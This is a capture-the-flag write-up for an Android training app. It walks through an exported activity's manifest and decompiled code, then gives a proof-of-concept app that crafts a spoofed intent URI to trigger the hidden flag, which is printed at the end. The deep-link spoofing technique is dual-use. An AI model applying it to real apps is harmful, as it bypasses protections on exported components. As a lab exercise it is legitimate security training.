Static Analysis
AndroidManifest.xml
Upon inspecting the Flag15Activity in the AndroidManifest.xml file we see the following
<activity
android:name="io.hextree.attacksurface.activities.Flag15Activity"
android:exported="true">
<intent-filter>
<action android:name="io.hextree.action.GIVE_FLAG"/>
<category android:name="android.intent.category.DEFAULT"/>
<category android:name="android.intent.category.BROWSABLE"/>
</intent-filter>
</activity>We can see that the activity accepts deep links but it doesn’t have any schemas or hosts
Flag15Activity Class
public class Flag15Activity extends AppCompactActivity {
public Flag15Activity() {
this.name = "Flag 15 - Create a intent://flag15/ link";
this.tag = "Deeplink";
this.tagColor = R.color.pink;
this.flag = "Dd9YjTMVuPv+aFFNmgdp4lZSlsia2NPmYxH9Z5cBuOQ=";
}
private boolean isDeeplink(Intent intent) {
return (intent == null || intent.getAction() == null || !intent.getCategories().contains("android.intent.category.BROWSABLE") || intent.getStringExtra("com.android.browser.application_id") == null) ? false : true;
}
@Override // io.hextree.attacksurface.AppCompactActivity, androidx.fragment.app.FragmentActivity, androidx.activity.ComponentActivity, androidx.core.app.ComponentActivity, android.app.Activity
protected void onCreate(Bundle bundle) {
super.onCreate(bundle);
this.f = new LogHelper(this);
Intent intent = getIntent();
if (intent == null) {
return;
}
String action = intent.getAction();
if (action == null) {
Intent intent2 = new Intent("android.intent.action.VIEW");
intent2.setData(Uri.parse("https://ht-api-mocks-lcfc4kr5oa-uc.a.run.app/android-link-builder?href=" + Uri.encode("intent:#Intent;...")));
startActivity(intent2);
return;
}
if (isDeeplink(intent) && action.equals("io.hextree.action.GIVE_FLAG")) {
Bundle extras = intent.getExtras();
if (extras == null) {
finish();
}
String string = extras.getString("action", "open");
if (extras.getBoolean("flag", false) && string.equals("flag")) {
this.f.addTag(Boolean.valueOf(extras.getBoolean("flag", false)));
this.f.addTag(string);
success(this);
} else if (string.equals("open")) {
Toast.makeText(this, "Website: " + extras.getString("message", "open"), 1).show();
}
}
}
}Upon reviewing the code we notice it needs some data in order to get the flag, for simplicity I just gave the code to GPT and he constructed all the needed data
Creating POC
Redirecting the intent via our POC App
Flag15.java
public class Flag15 extends AppCompatActivity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_flag15);
getSupportActionBar().setTitle("Flag 15");
Button button = findViewById(R.id.button_flag15);
button.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
Log.v("Tensai-POC", "Solving Flag 15");
try {
Intent intent = Intent.parseUri("intent://flag15/#Intent;" +
"action=io.hextree.action.GIVE_FLAG;" +
"category=android.intent.category.BROWSABLE;" +
"S.com.android.browser.application_id=com.android.chrome;" +
"S.action=flag;" +
"B.flag=true;" +
"component=io.hextree.attacksurface/io.hextree.attacksurface.activities.Flag15Activity;" +
"end",
0);
startActivity(intent);
} catch (URISyntaxException e) {
Log.e("Tensai-POC", "URI syntax error", e);
}
}
});
}
}Flag
HXT{intent-uris-are-cool-12fgv}